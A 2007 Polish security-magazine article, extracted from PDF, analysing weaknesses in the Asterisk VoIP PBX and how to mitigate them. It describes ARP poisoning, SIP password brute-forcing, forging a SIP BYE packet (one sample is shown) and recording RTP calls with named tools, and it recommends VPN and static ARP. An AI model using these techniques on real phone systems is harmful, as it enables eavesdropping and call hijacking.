z wieloma typami aparatów VoIP i dedykowany-
mi kartami sprzętowymi do połączeń z sieciami
PSTN. Jednak główną cechą, która przysparza
Asteriskowi coraz większą rzeszę zwolenników
jest fakt, że pomimo bogatych możliwości tech-
nicznych jest to oprogramowanie darmowe (na
licencji GNU). W ten sposób każdy użytkownik

Luki w VoIP

Tomasz Piotrowski
Szczepan Wójcik
Mikołaj Wiśniewski
Wojciech Mazurczyk

stopień trudności

VoIP (Voice over Internet Protocol), którą określa się również

terminami telefonii IP lub telefonii internetowej (w zależności od

zastosowania), to usługa czasu rzeczywistego, która służy do

prowadzenia rozmów głosowych z wykorzystaniem pakietowych

sieci IP.

Z artykułu dowiesz się

• w jaki sposób zabezpieczać systemy VoIP,
• na co zwracać uwagę przy kupowaniu i wdra-

żaniu systemów VoIP,

• jakie luki bezpieczeństwa znajdują się w syste-

mie Asterisk.

Co powinieneś wiedzieć

• znać zasadę działania telefonii IP,
• podstawy działania protokołu sygnalizacyjnego

VoIP: SIP.

background image

Bezpieczeństwo VoIP – luki w systemie Asterisk

hakin9 Nr 10/2007

www.hakin9.org

27

jest w stanie zweryfikować popraw-
ność implementacji poszczególnych
elementów systemów oraz wprowa-
dzać własne rozszerzenia, dodatko-
we funkcjonalności czy usługi.

Wszystkie opisane powyżej ce-

chy sprawiają, że Asterisk jest coraz
częściej stosowany we wdrożeniach
różnej skali, a grupa odbiorcza takie-
go produktu jest praktycznie nieogra-
niczona. Często znajduje on zastoso-
wanie jako centrala IP-PBX w średniej
wielkości firmach (rozwiązania takie
jak Fonalityhttp://www.fonality.com)
lub jest używany przez operatorów.
Przykładowo francuski operator Vo-
IP Wengo używa Asterisk do ofero-
wania usługi poczty głosowej. Zazwy-
czaj jednak firmy sięgają po tego ty-
pu systemy telefonii IP, aby zastąpić
konwencjonalne, analogowe centrale
PBX. Dodatkowo korzystać z nich mo-
gą także administratorzy Sieci osie-
dlowych, małe firmy oraz indywidual-
ni użytkownicy.

Równocześnie wraz ze wzrostem

popularności, jakim cieszy się to roz-
wiązanie, rośnie znaczenie sposobu
zabezpieczeń, który w tym systemie
jest realizowany.

Przenoszenie miejsca świadcze-

nia usług telefonicznych z tradycyjnej
sieci telefonicznej PSTN (ang. Public
Switched Telephone Network
) do sie-
ci IP, które możemy śledzić od kilku
lat, sprawia, że zagrożenia, kojarzące
się dotychczas z bezpieczeństwem

kabla telefonicznego (aspektu zupeł-
nie fizycznego), zyskują zupełnie inny
wymiar w domenie świata pakietowe-
go. Chcąc podsłuchać rozmowę Vo-
IP, nie musimy podłączać się do linii
abonenckiej. Wystarczy, że będąc w
tej samej sieci LAN uruchomimy od-
powiednie narzędzie (sniffer), a na-
stępnie wykorzystamy je do prze-
chwytywania odpowiedniego pro-
tokołu telefonii IP (zupełnie tak, jak
podsłuchiwało się dotychczas usługi
takie jak FTP, telnet, czy SMTP). Po-
nadto, aby przechwytywać rozmowy
na masową skalę, nie trzeba podłą-
czać się do każdej linii fizycznej, lecz
wystarczy przejąć cały ruch obserwo-
wany w danej sieci lokalnej. Wskaza-

ne zagrożenia telefonii IP powodują,
że kwestie bezpieczeństwa w syste-
mach takich jak Asterisk należy trak-
tować priorytetowo.

W artykule skoncentrowano się

na analizie bezpieczeństwa Asterisk
z punktu widzenia protokołu sygna-
lizacyjnego SIP, będącego najpow-
szechniej wykorzystywanym proto-
kołem sygnalizacyjnym w telefonii
IP, protokołu sygnalizacyjnego IAX2
(rozwiązania producenckiego twór-
ców systemu Asterisk) oraz standar-
du RTP, wykorzystywanym do trans-
misji głosu dla połączeń telefonicz-
nych VoIP. Wspomniane protokoły,
bez zastosowania odpowiednich za-
bezpieczeń, mogą stanowić źródło
zagrożeń, zwiększając podatność
na ataki: podsłuchania, podszywania
się przez osobę atakującą pod pra-
wowitego użytkownika, czy odmo-
wy usługi (Denial of Service). Innym
omówionym aspektem bezpieczeń-
stwa, analizowanym w tym artykule,
jest odporność na ataki maszyny fi-
zycznej, na której instalowany i uru-
chomiany jest Asterisk.

Architektura i rozwój

systemu Asterisk

Historia oprogramowania Aste-
risk sięga 1999 roku. Za jego twór-
cę uważa się Marka Spencera z fir-
my Digium. Od czasu udostępnienia
pierwszej wersji centrali jej kod zo-
stał intensywnie rozbudowany przez
wielu programistów na całym świe-

Rysunek 1.

Asterisk – oprogramowanie centrali telefonicznej IP PBX

serwera VoIP

Rysunek 2.

Topologia z jedną centralą

����

���

������������

����������

�����

������

������

����������

��������

background image

hakin9 Nr 10/2007

www.hakin9.org

Atak

28

cie i temu właśnie zawdzięcza bo-
gactwo oferowanych protokołów i
usług. Asterisk, jak wspomniano,
jest bardzo rozbudowanym i ela-
stycznym w konfiguracji systemem
telefonicznym, nadającym się do
wielu zastosowań telefonii IP. Może
działać pod kontrolą wielu różnych
systemów operacyjnych, tj. MS Win-
dows, Linux, BSD i Mac OS X.

Asterisk wspiera takie funkcjonal-

ności jak: poczta głosowa z książką
telefoniczną, połączenia konferen-
cyjne, system IVR (ang. Interactive
Voice Response
), kolejkowanie po-
łączeń, identyfikacja numerów, czy
ADSI (ang. Analog Display Services
Interface
). Aby umożliwić pakieto-
we rozmowy telefoniczne, nie wyma-
ga on żadnego dodatkowego sprzętu
fizycznego. Natomiast w celu nawią-
zywania połączenia pomiędzy telefo-
nią cyfrową, a analogową niezbędne
jest wykorzystanie specjalnych kart.
Asterisk współpracuje zarówno ze
sprzętem wyprodukowanym przez
Digium, jak i innymi urządzeniami
firm takich, jak: Sangoma Technolo-
gies, Patton Electronics, Hitachi Ca-
ble, Polycom, SUN Microsystems,
Junghanns.net, czy VoiSmart.

Obecnie wiele firm zajmuje się

dystrybucją oprogramowania Aste-
risk i dedykowanego dla niego sprzę-
tu. Wiodącym europejskim dystrybu-
torem sprzętu i oprogramowania sto-
sowanego przy otwartych projek-
tach głosowych związanych z Aste-
risk jest firma halo2 – Halo Kwadrat,
natomiast w Polsce takie firmy jak
NETCOM czy Virgo Kalisz. Zazwy-

czaj firmy tego typu zapewniają kom-
pleksową obsługę teleinformatyczną
przedsiębiorstw w ramach oferowa-
nego produktu. Warto również wspo-
mnieć, że popularny obecnie polski
system VoIP – Tlenofon, który umoż-
liwia wykonywanie tanich rozmów
przez Internet, również współpracu-
je ze środowiskiem Asterisk.

Bezpieczeństwo w

Asterisk

Analizując bezpieczeństwo środowi-
ska Asterisk, należy rozważyć dwie
podstawowe topologie sieciowe opi-
sane poniżej. Pierwsza z nich skła-
da się z kilku klientów (PC z komu-
nikatorem – tzw. Softphonem – lub
sprzętowymi telefonami IP) bezpo-
średnio połączonymi do wspólnej
centrali oraz intruza – komputera do
podsłuchiwania i modyfikacji przesy-
łanych pakietów protokołu SIP bądź
IAX2 między klientem a centralą
(patrz Rysunek 2). Natomiast druga
topologia składa się z dwóch klien-

tów połączonych do różnych central
Asterisk oraz intruza – komputera
do podsłuchiwania i modyfikacji pa-
kietów protokołu IAX2 na łączu mię-
dzy-centralowym (Rysunek 3.).

W artykule tym skoncentrujemy

się głównie na badaniu protokołu
sygnalizacyjnego SIP, a tym samym
rozważymy aspekty bezpieczeń-
stwa topologii z jedną centralą.

Architekturę systemu oparte-

go na Asterisku uzupełniają urzą-
dzania końcowe: komunikatory lub
sprzętowe telefony IP. Wśród naj-
częściej wykorzystywanych komu-
nikatorów znaleźć można: aplikację
X-Lite wspierającą protokół SIP czy
Idefisk obsługujący zarówno proto-
kół SIP, jak i protokół twórców Aste-
risk – IAX/IAX2 (Rysunek 4 i 5).
Asterisk umożliwia też wykorzysta-
nie fizycznych telefonów IP opar-
tych na protokołach sygnalizacyj-
nych SIP, H.323, MGCP, czy SCCP
(Cisco).

Rodzaje i techniki

ataków na systemy VoIP

Zanim zostanie przedstawiona ana-
liza zabezpieczeń systemu Aste-
risk, niezbędne jest wprowadzenie
odpowiedniej terminologii oraz wy-
jaśnienie technik ataków na telefo-
nię IP, co pozwoli uwypuklić pro-
blem niebezpieczeństw, na jakie
może być narażony nasz system te-
leinformatyczny. Pozwoli nam to od-
powiednio przygotować nasz sys-
tem telefonii IP po to, by zapobie-
gać większości ataków.

Usługi ochrony informacji dla sys-

temów VoIP trzeba rozważać według

Tabela 1.

Przykładowe rodzaje wiadomości protokołu SIP

Rodzaj wiadomości

Znaczenie

INVITE

zaproszenie do udziału w połączeniu

BYE

zakończenie połączenia między dwoma uczest-
nikami połączenia

OPTIONS

przekazuje informacje o funkcjonalności (ang.
capabilities),
nie zestawia połączenia

CANCEL

przerwanie wcześniej wysłanego żądania

ACK

służy do realizacji niezawodnej wymiany wiado-
mości INVITE

REGISTER

przenosi informacje o lokalizacji użytkownika
dla serwera SIP

Tabela 2.

Przykładowe komunikaty protokołu IAX2

Grupa

Komunikat

Znaczenie

Rejestracja

REGREQ
REGAUTH
REGACK
REGREJ
REGREL

Żądanie rejestracji Autoryzacja re-
jestracji Potwierdzenie rejestracji
Odrzucenie rejestracji Zakończe-
nie rejestracji

Zestawianie / Roz-
łączanie połączeń

NEW
REJECT
ACCEPT
HUNGUP

Zestawianie nowego połączenia
Odrzucenie wywołania
Akceptacja wywołania
Zakończenie połączenia

Autoryzacja

AUTHREG
AUTHREP

Żądanie autoryzacji
Odpowiedź na żądanie autoryzacji

background image

Bezpieczeństwo VoIP – luki w systemie Asterisk

hakin9 Nr 10/2007

www.hakin9.org

29

kryteriów, które dadzą nam możliwo-
ści zapewnienia trzech podstawo-
wych usług ochrony informacji – uwie-
rzytelnienia (ang. authentication), inte-
gralności danych (ang. data integrity)
oraz poufności danych (ang. data con-
fidentiality
).

Przy dokonywaniu analizy bezpie-

czeństwa należy być również świado-
mym zagrożeń, na jakie może być na-
rażony wdrażany przez nas system.
Akcje podejmowane przez najróż-
niejszych intruzów można podzielić
na ataki aktywne oraz pasywne. Te
pierwsze polegają na celowej inge-
rencji np. w komunikację między stro-
nami połączenia, a drugie zawierają
w sobie takie działania, jak podsłuch
czy przechwytywanie wiadomości.

Do przeprowadzania ataków wyko-

rzystywane są odpowiednie techniki.
Podstawowe techniki ataków na syste-
my VoIP możemy podzielić na trzy ka-
tegorie: Spoofing (podszywanie się),
Sniffing (podsłuchiwanie) oraz Denial

of Service (odmowa usługi).

Poniżej zostanie pokrótce omówio-

na każda z wymienionych technik:

Spoofing – polega na celowym

podszywaniu się pod danego
użytkownika (np. za pomocą jego
adresu IP), dzięki czemu napast-
nik może mieć możliwość wysyła-
nia sfałszowanych wiadomości,

Sniffing – opiera się na szcze-

gółowym obserwowaniu i ana-
lizowaniu pakietów wysyłanych
przez sieć,

Denial of Service – polega na za-

blokowaniu możliwości funkcjo-
nowania danego elementu sieci,
co może mu uniemożliwić świad-
czenie danej usługi (np. poprzez
zalanie danego elementu dużą
ilością wiadomości) prawowitym
użytkownikom.

Wykorzystanie każdej z wyżej przed-
stawionych technik może doprowa-

dzić do różnego rodzaju ataków. Dla
przykładu: za pomocą techniki pod-
szywania możliwe jest odkrywanie
treści wiadomości, a następnie jej
modyfikacja. Dzięki technice podsłu-
chania intruz potrafi w pasywny spo-
sób zaglądać w przesyłane wiadomo-
ści, natomiast atak typu Denial of Se-
rvice
stwarza ryzyko sparaliżowania
działania platformy VoIP.

Na wszystkie wymienione zagro-

żenia nasz system VoIP powinien
być przygotowany, by w sposób bez-
pieczny oferować użytkownikom swo-
je usługi. W dalszej części artykułu za-
warte zostały wskazówki, w jaki spo-
sób skutecznie ustrzec się przed ata-
kami potencjalnych intruzów.

Bezpieczeństwo VoIP

opartego na Asterisk

Rozważając potencjalne zagroże-
nia, na jakie może być narażony sys-
tem Asterisk, należy brać pod uwa-
gę bezpieczeństwo całej komunika-
cji, w której pośredniczy, jak również
odporność na ataki maszyny, na któ-
rej system ten się znajduje.

Pierwsza z wymienionych kwe-

stii dotyczy zapewnienia bezpie-
czeństwa protokołów komunikacyj-
nych wykorzystywanych w systemie
Asterisk (przede wszystkim proto-
kołów sygnalizacyjnych: SIP, H.323,
MGCP, SCCP, IAX2 oraz transmisji
głosu: RTP). W tym wypadku klu-
czowe jest to, czy komunikacja jest

Listing 1.

Wygląd przykładowej wiadomości BYE protokołu SIP

BYE

sip

:

3001

@

192.168

.

0.101

:

33924

SIP

/

2.0

Via

:

SIP

/

2.0

/

UDP

192.168

.

0.100

:

5060

;

branch

=

z9hG4bK01f6f4fa

;

rport

From

:

"3000"

<

sip

:

3000

@

192.168

.

0.101

>;

tag

=

as6486104f

To

:

"Tomek"

<

sip

:

3001

@

192.168

.

0.101

>;

tag

=

5

c558618

Call

-

ID

:

43

bdbc1b0bfdfa1d2e18f5770f03e202

.

CSeq

:

102

BYE

User

-

Agent

:

Asterisk

PBX

Max

-

Forwards

:

70

Content

-

Length

:

0

Rysunek 3.

Topologia z dwoma centralami

��������

��������

����������

����������

������

Rysunek 4.

X-Lite wersja 3.0

background image

hakin9 Nr 10/2007

www.hakin9.org

Atak

30

dostępna dla kogoś, kto nie powi-
nien mieć do niej dostępu. Sytuacja
taka będzie mieć miejsce zawsze
wówczas, gdy można przechwyty-
wać pakiety (np. w sieci LAN) oraz
gdy ich zawartość nie jest zabezpie-
czana z wykorzystaniem mechani-
zmów kryptograficznych.

Drugim zagadnieniem jest bez-

pieczeństwo maszyny, na której zo-
stał zainstalowany i działa Asterisk.
Duże znaczenie ma tu wybór syste-
mu operacyjnego oraz jego bezpie-
czeństwo. Istotne jest także m. in.
to, czy uruchamiamy równolegle na
tej samej maszynie inne usługi i czy
umożliwiamy użytkownikom zdalny
dostęp (np. poprzez SSH).

Bezpieczeństwo

sygnalizacji

W przypadku zabezpieczania proto-
kołu sygnalizacyjnego należy zagwa-
rantować bezpieczeństwo wiadomo-
ściom tego protokołu, które są prze-
syłane pomiędzy stronami komuniku-
jącymi się, czyli zapewnić ich integral-
ność, uwierzytelnienie oraz poufność.

Dla analizowanego przez nas

protokołu sygnalizacyjnego SIP, jed-
nym z zaproponowanych w standar-
dzie mechanizmów zabezpieczeń
jest SIPS URI, który oparty jest na
protokole TLS (ang. Transport Lay-
er Security
). Niestety, środowisko
Asterisk, które jest w fazie ciągłego
rozwoju, na obecną chwilę nie posia-
da zaimplementowanego tegoż me-
chanizmu. Wyposażone jest nato-
miast w inny mechanizm: SIP Digest
(analogiczny do mechanizmu HTTP
Digest
), umożliwiający zapewnienie
uwierzytelnienia i integralności prze-
syłanych danych. Mechanizm ten
jednak nie spełnia do końca swojej

roli, ponieważ jest oparty na złama-
nej funkcji skrótu MD5, a współdzie-
lone hasło możliwe jest do uzyska-
nia metodami słownikowymi bądź si-
łowymi (ang. brute-force).

Przeglądając kierunki rozwoju

firmy Asterisk, znaleźć można plany
wprowadzenia szyfrowania sygnali-
zacji i dźwięku. Należy jednak pod-
kreślić, że w chwili obecnej opcja ta
jest dopiero w fazie testów i wyma-
ga jeszcze pracy nad stabilnością.

Wykorzystanie luk do

przeprowadzenia ataku

Wykonane przez nas próby ataków na
protokół sygnalizacyjny miały na celu
podsłuchiwanie wiadomości protoko-
łu sygnalizacyjnego – ataki pasywne
oraz próby zmiany wiadomości – ata-
ki aktywne. Wykorzystano w tym celu
atak Man-In-The-Middle (MITM) oraz
technikę ARP Poisoning.

ARP Poisoning

Atak ARP Poisoning, którego doko-
nać można np. przy użyciu narzędzia
Ettercap, polega na celowej modyfika-
cji pamięci podręcznej ARP. Kompu-
ter B otrzymując pakiet ARP Request
spodziewa się połączenia z kompute-

ra A, więc żeby nie wysyłać zbędnych
pakietów ARP, zapisuje parę MAC, IP
z pakietu ARP Request w swojej pa-
mięci podręcznej ARP. Taką sytu-
ację można wykorzystać wysyłając
wiele zapytań ARP Request ze swo-
im adresem MAC ale zawierającym
adres IP np. komputera A, modyfiku-
jąc w ten sposób pamięci podręczne
ARP wszystkich komputerów w sieci
i przejmując tym samym komunika-
cję przeznaczoną dla tego komputera.
Jest wiele gotowych narzędzi wyko-
rzystujących ARP Spoofing/ARP Po-
isoning
, w tym bardzo rozbudowane
użyte przez nas sniffery, np. Ethereal,
czy Ettercap. Prostym i skutecznym
zabezpieczeniem przed tymi metoda-
mi jest ustawienie statycznych wpisów
pamięci podręcznej ARP dla kompu-
terów w naszej sieci Ethernet.

Atak pasywny – analiza

pakietów

Analizy pakietów można dokonać przy
użyciu oprogramowania Ethereal Ne-
twork Protocol Analyzer
(w nowszej
wersji WireShark). Celem tej analizy
jest uzyskanie niezbędnych do prze-
prowadzania ataku informacji o po-
łączeniu, m. in. o adresach agentów

Rysunek 5.

Idefisk wersja 2.01 RC2

Rysunek 6.

Wynik pracy programu Ethereal dla protokołu SIP. Podgląd

wiadomości Request INVITE z wyróżnioną linią zawierającą identyfikator
połączenia Call-ID

background image

Bezpieczeństwo VoIP – luki w systemie Asterisk

hakin9 Nr 10/2007

www.hakin9.org

31

użytkownika SIP (punktów końco-
wych), ich hasłach czy identyfikatorze
połączenia Call-ID. Przykładowe wyni-
ki analizatora dla protokołu SIP przed-
stawia Rysunek 6. Analogiczny atak
pasywny może być przeprowadzo-
ny dla protokołu IAX2 dla łącza mię-
dzy-centralowego (Rysunek 7). Do-
datkowo, w Tabelach 1. i 2. zawartych
jest kilka podstawowych rodzajów wia-
domości dla łatwiejszego zrozumienia
działania protokołów SIP i IAX2.

Jak wspomniano, Asterisk oferu-

je dla protokołu SIP mechanizm uwie-
rzytelnienia SIP Digest wykorzystujący
funkcję skrótu MD5. Podsłuchując wy-
mianę pakietów między agentami użyt-
kowników, możemy dokonać próby
złamania zabezpieczonego hasła. Do
przeprowadzania takiego ataku moż-
na użyć ogólnodostępnego narzędzia
Cain & Abel, które umożliwia łamanie
haseł metodami siłowymi (ang. Bru-
te-Force
). Złamanie hasła 4-znakowe-
go zajmowało średnio 3 sekundy, na-
tomiast hasła 6-znakowego średnio 40
minut. Wynik przeprowadzonych prób
zamieszczono na Rysunku 8.

Atak aktywny

Po przeprowadzeniu udanych ataków
pasywnych (zebraniu niezbędnych in-

formacji) można przejść do wykona-
nia ataków aktywnych, polegających
na utworzeniu i wysłaniu odpowiednio
spreparowanego pakietu, który może
mieć na celu na przykład zakończenie
trwającego połączenia. Opisany atak
wymaga utworzenia i wysłania do
centrali Asterisk odpowiednio sprepa-
rowanego pakietu

BYE

protokołu SIP

przedstawionego na Listingu 1.

Pakiet ten powinien zawierać: ad-

res SIP terminala i centrali oraz identy-
fikator trwającego połączenia Call-ID.
Przygotowany pakiet należy umieścić
w polu danych pakietu UDP i przy uży-
ciu narzędzia Nemesis wysłać do sieci
lokalnej (Rysunek 9).

Innego rodzaju ataku aktywne-

go można dokonać za pomocą ogól-
nie dostępnego skanera luk sieci Vo-
IP opartej na protokole SIP – SiVuS.
Składa się on z kilku części, które po-
zwalają przeprowadzić atak oraz we-
ryfikują odporność na błędy i poziom
bezpieczeństwa: komunikatorów SIP,
serwerów sieciowych Proxy i Regi-
strar
. Narzędzie to umożliwia podszy-
cie się pod innego użytkownika, jak
również na ukrycie tożsamości oso-
by atakującej. Po podszyciu się pod
innego użytkownika możliwa jest in-
gerencja w jego aktywność siecio-

wą, np. możliwe jest zadzwonienie
do znajomych zaatakowanego użyt-
kownika lub wykorzystanie upraw-
nień przez niego posiadanych.

Opisany powyżej atak bazuje na

luce w procesie rejestracji agentów
użytkownika w serwerze Registrar.
Każdy agent użytkownika jest zobli-
gowany do rejestracji w tym serwe-
rze, ponieważ rejestracja w sieci Vo-
IP jest niezbędna do zlokalizowania
abonenta. Żądanie rejestracji (wia-
domość REGISTER – patrz Tabela 1)
zawiera pole Contact, które zawiera
adres IP urządzenia (niezależnie, czy
to jest telefon IP czy komunikator za-
instalowany na PC). Osoba atakująca
wysyła zmodyfikowaną wiadomość
REGISTER, w której pole Contact za-
wiera adres IP osoby atakującej.

Podsumowując analizę bezpie-

czeństwa systemu Asterisk wyko-
rzystującego protokół sygnalizacyjny
SIP, wyróżnić można typowe ataki:

• porwanie Rejestracji (ang. Regi-

stration Hijacking) – polega na
modyfikacji pola From w wiado-
mości REGISTER (przekierowa-
niu połączenia),

• porwanie Połączenia (ang. Con-

nection Hijacking) – analogicznie
do ataku powyżej, ale modyfikacji
podlega pole From w wiadomości
INVITE,

• man in the Middle – pozwala

atakującemu przechwycić ko-
munikację z/do serwerów sie-
ciowych i w ten sposób wpływać
na kluczowe informacje w wia-
domościach sygnalizacyjnych,

• podszycie się pod serwer (ang.

Impersonating a Server) – klient
Agenta Użytkownika kontaktuje
się z serwerem sieciowym w celu

Rysunek 7.

Wynik pracy programu Ethereal dla protokołu IAX. Podgląd

wiadomości AUTHREP – Odpowiedź na żądanie autoryzacji

Rysunek 8.

Cain & Abel – Rezultat

próby łamania hasła 6-znakowego

background image

hakin9 Nr 10/2007

www.hakin9.org

Atak

32

dostarczenia żądania, natomiast
intruz podszywa się pod serwer,

• celowe zakańczanie trwających

połączeń poprzez wysłanie przez
atakującego wiadomości BYE w
czasie, gdy zachodzi komunikacja
między użytkownikami.

Powyższe przykłady są tylko wycin-
kiem z całej gamy dostępnych ata-
ków. Dlatego też należy wykorzysty-
wać dostępne narzędzia do testowa-
nia bezpieczeństwa zarówno oprogra-
mowania, jak i sprzętu tj. Sivus, Protos
czy SIP Forum Test Framework w ce-
lu przeprowadzania okresowego au-
dytu we własnej sieci telefonii IP.

Zabezpieczenia

Asterisk

Powyżej pokazano, jak bardzo aspek-
ty bezpieczeństwa protokołów sygna-
lizacyjnych zaimplementowanych w
Asterisk nie są jeszcze dopracowane.
Obecnie protokół IAX2 oferuje najbar-
dziej zaawansowane metody uwie-
rzytelniania: z funkcją skrótu MD5 lub
RSA, pod warunkiem, że hasło będzie
na tyle długie, aby czas potrzebny na
jego złamanie był dłuższy od waż-
ności takiego hasła. Natomiast nale-
ży zdawać sobie sprawę, że protokół
IAX2 jest protokołem producenckim,
zatem jako taki nie jest w stanie kon-
kurować z zestandaryzowanymi pro-
tokołami sygnalizacyjnymi SIP, H.323,
czy MGCP np. ilością dostępnych pro-
duktów, czy usług.

Zaprezentowane ataki aktywne

udowodniły, że osoba niepowołana
jest w stanie wpływać na przebieg
sygnalizacji, a tym samym na trwają-

ce, czy zestawiane połączenie. Me-
todą na przeciwdziałanie tego typu
atakom może być zabezpieczanie
danych na poziomie warstwy aplika-
cji bądź sieciowej. Jednakże Asterisk
nie posiada na chwilę obecną wspar-
cia dla protokołu SIPS URI. Rozwią-
zaniem takiej sytuacji, zabezpiecze-
niem chroniącym przed lukami, mo-
że być VPN – wirtualna sieć prywat-
na (ang. Virtual Private Network).

Do utworzenia sieci VPN moż-

na wykorzystać darmowe oprogra-
mowanie np. OpenVPN oraz istnie-
jącą nakładkę graficzną dla systemu
Windows – OpenVPN GUI. Przewa-
gą sieci VPN nad niezabezpieczoną
siecią lokalną jest szyfrowanie da-
nych np. 2048-bitowym kluczem.

Wymienione aplikacje należy za-

instalować na serwerze centrali PBX
i stacjach klientów. Kolejnym kro-
kiem jest zamiana adresów IP do-
tychczas używanych przez centra-
lę i komunikatory na nowe adresy
IP z sieci VPN. Zabieg ten spowodu-
je, że dane takie jak: lokalizacja, na-
zwa użytkownika, identyfikator połą-
czenia, które dotychczas przesyłane

były w sposób tekstowy, staną się
niedostępne dla osób trzecich.

Rozwiązanie to, pomimo wie-

lu przedstawionych powyżej zalet,
ma również wady. Przede wszyst-
kim wprowadza dodatkowe opóźnie-
nia przy zwiększonym zużyciu do-
stępnego pasma, co może być klu-
czowym czynnikiem wpływającym na
jakość przesyłanego głosu. Zwiększa
również zapotrzebowanie na moc obli-
czeniową urządzeń obsługujących, co
w konsekwencji prowadzi do poniesie-
nia ich ceny (ze względu na zwiększo-
ny koszt obsługi). Dodatkowo rozwią-
zania VPN nastręczają czysto prak-
tycznych trudności. Jak wspomnia-
no wcześniej, VPN wymaga instalacji
oprogramowania na stacji klienta, a co
za tym idzie, rodzi się problem z ob-
sługą wszystkich systemów operacyj-
nych. Dodatkowo mogą wystąpić pro-
blemy współdziałania pomiędzy klien-
tami VPN różnych dostawców. Kolej-
nym kłopotem mogą być zapory sie-
ciowe i inne urządzenia pomiędzy
klientem i bramą VPN, które mogą nie-
korzystnie wpływać na możliwość ze-
stawiania połączeń VPN. Wszystko to
powoduje, że – pomimo iż jest to roz-
wiązanie gwarantujące wysoki poziom
bezpieczeństwa – w praktyce raczej
się go w telefonii IP nie wykorzystuje.

Bezpieczeństwo głosu

protokół RTP

Obecnie najczęściej wykorzystywa-
nym protokołem do przenoszenia gło-
su (rozmowy) w telefonii IP jest RTP
(ang. Real-time Transport Protocol).
Jest on obsługiwany przez Asterisk i
większość terminali oraz urządzeń ty-
pu ATA (tzw. bramka VoIP) dostęp-
nych na rynku. Należy odnotować,

Rysunek 9.

Nemesis – Wysyłanie spreparowanego pakietu BYE

Rysunek 10.

Cain & Abel – nagrywanie strumieni RTP

background image

Bezpieczeństwo VoIP – luki w systemie Asterisk

hakin9 Nr 10/2007

www.hakin9.org

33

Używane oprogramowanie oraz wymagania sprzętowe

AsteriskWin32 – http://www.asteriskwin32.com/,
Sprzęt: PC lub Serwer:

• OS: Windows 2000/XP/2003,

• Procesor: Pentium 500MHz lub wyższy,

• Pamięć RAM: minimum 128MB,

• Sieć: Szerokopasmowy dostęp do Internetu (dla zewnętrznej linii VoIP) ,

• Środowisko: Cygwin,

Sieć: Zewnętrzne Linie (ang. External Lines)

TAPI based Board or Voice Modem

• ISDN Board compatible CAPI 2.0,

• ISDN Router with Remote CAPI support,

• VOIP Providers (SIP & IAX & H323),

Cygwin – http://www.cygwin.com/

OS: Windows 95/98/ME/NT/2000/XP/2003, WOW64 (32-bitowe środowisko na 64-bitowej wersji Windows),

• X-Lite – http://www.counterpath.com,

• Procesor: minimum Intel Pentium III 700 MHz lub odpowiednik, optymalnie Pentium 4® 2.0 GHz lub odpowiednik,

• Pamięć RAM: 256 MB,

• Dysk twardy: 30 MB,

• OS: Windows 2000/XP, Mac OS X 10.4,

• Sieć: Dostęp do sieci IP (broadband, LAN, wireless),

• Karta dźwiękowa: Full-duplex, 16-bit,

Idefisk – http://www.asteriskguru.com/idefisk/

Procesor: minimum Pentium II 300MHz,

• Pamięć RAM: minimum 256 MB,

• OS: Windows® 2000, XP lub nowszy,

• Karta dźwiękowa: 16-bitowa karta dźwiękowa (SoundBlaster lub odpowiednik),

• Sieć: dostęp przewodowy lub bezprzewodowy do Internetu,

Ettercap – http://ettercap.sourceforge.net/

OS: Linux 2.0.x, Linux 2.2.x, Linux 2.4.x, Linux 2.6.x, FreeBSD 4.x 5.x, OpenBSD 2.[789] 3.x, NetBSD 1.5, Mac OS X (dar

win 6.x 7.x), Windows 2000/XP/2003, Solaris 2.x

• Biblioteki: libpcap 0.8.1l lub nowsza, libnet 1.1.2.1 lub nowsza, libpthread, zlib,

Ethereal – http://www.ethereal.comz OS

UNIX: Apple Mac OS X, BeOS, FreeBSD, HP-UX, IBM AIX, NetBSD,

• OpenBSD, SCO UnixWare/OpenUnix, SGI Irix, Sun Solaris/Intel, Sun,

• Solaris/Sparc, Tru64 UNIX (wcześniej Digital UNIX),

• LINUX: Debian GNU/Linux, Gentoo Linux, IBM S/390 Linux (Red Hat),

• Mandrake Linux, PLD Linux, Red Hat Linux, Rock Linux, Slackware Linux, Suse Linux,

• Microsoft Windows: Windows Server 2003/XP/2000/NT 4.0, Windows Me/98,

Cain & Abel – http://www.oxid.it/cain.html

OS: Windows 9x/NT/2000/XP,

OpenVPN – http://openvpn.net/

OS: Linux, Windows 2000/XP lub wyższy, OpenBSD, FreeBSD, NetBSD, Mac

• OS X oraz Solaris

OpenVPN GUI for Windows – http://openvpn.se/

OpenVPN GUI został napisany w języku C Win32, dlatego nie wymaga żadnych bibliotek do pracy,

• SiVuS – http://www.vopsecurity.org/index.php,

background image

hakin9 Nr 10/2007

www.hakin9.org

Atak

34

że protokół RTP, jako taki, nie zapew-
nia jednak bezpieczeństwa transmi-
sji, a tym samym pociąga za sobą ry-
zyko np. podsłuchania rozmowy. Nie
zapewnia on także integralności, co
z kolei powoduje podatność na ata-
ki typu Man-In-The-Middle, które mo-
gą polegać na modyfikacji transmito-
wanych pakietów. Istnieje rozwiązanie
tychże problemów w postaci protoko-
łu SRTP (Secure Real-time Transport
Protocol
), jednakże nie jest ono obec-
nie obsługiwane – ani przez stabilną
wersję Asterisk (istnieje branch Aste-
risk SRTP), ani też przez większość
wykorzystywanych terminali (a nawet
jeśli, to są one dużo droższe). Tym sa-
mym typowa konfiguracja z użyciem
niezabezpieczonego protokołu RTP
powoduje szereg zagrożeń związa-
nych z brakiem zastosowania jakich-
kolwiek usług kryptograficznych.

Przykład ataku

Dokonany przez nas atak na proto-
kół RTP (sniffing) był jednym z prost-
szych do wykonania. Użyte narzę-
dzie to Cain & Abel v4.9.2. Aplikacja
umożliwia przechwycenie i nagranie
strumienia RTP (a właściwie dwóch
strumieni) nawet osobom nieposia-
dającym bardzo szczegółowej wie-
dzy o protokołach VoIP. Wykonanie
podsłuchu polega na włączeniu mo-
nitoringu wraz z atakiem ARP Poiso-
ning
, zaś program sam rozpoznaje
protokół i rozpoczyna nagrywanie do
plików WAV (Rysunek 10).

Stan obecny w Asterisk

Uwzględniając powszechne zalece-
nie, aby separować ruch głosowy od
ruchu danych (rekomendowane m. in.
przez Instytut BSI – Bundesamt für Si-
cherheit in der Informationstechnik
)
należałoby użyć sieci VPN do połą-
czeń głosowych. Aby dwoje klientów
mogło się skutecznie skomunikować,
muszą znajdować się w tej samej sie-
ci prywatnej. Jeśli dostępne z niej ma-
ją być także usługi typu IVR lub pocz-
ta głosowa oferowana przez serwer
Asterisk, to także on powinien się w
takiej sieci prywatnej znaleźć. Nieste-
ty, wykorzystanie sieci VPN nie roz-
wiązuje problemu wzajemnego pod-
słuchiwania się przez użytkowników,

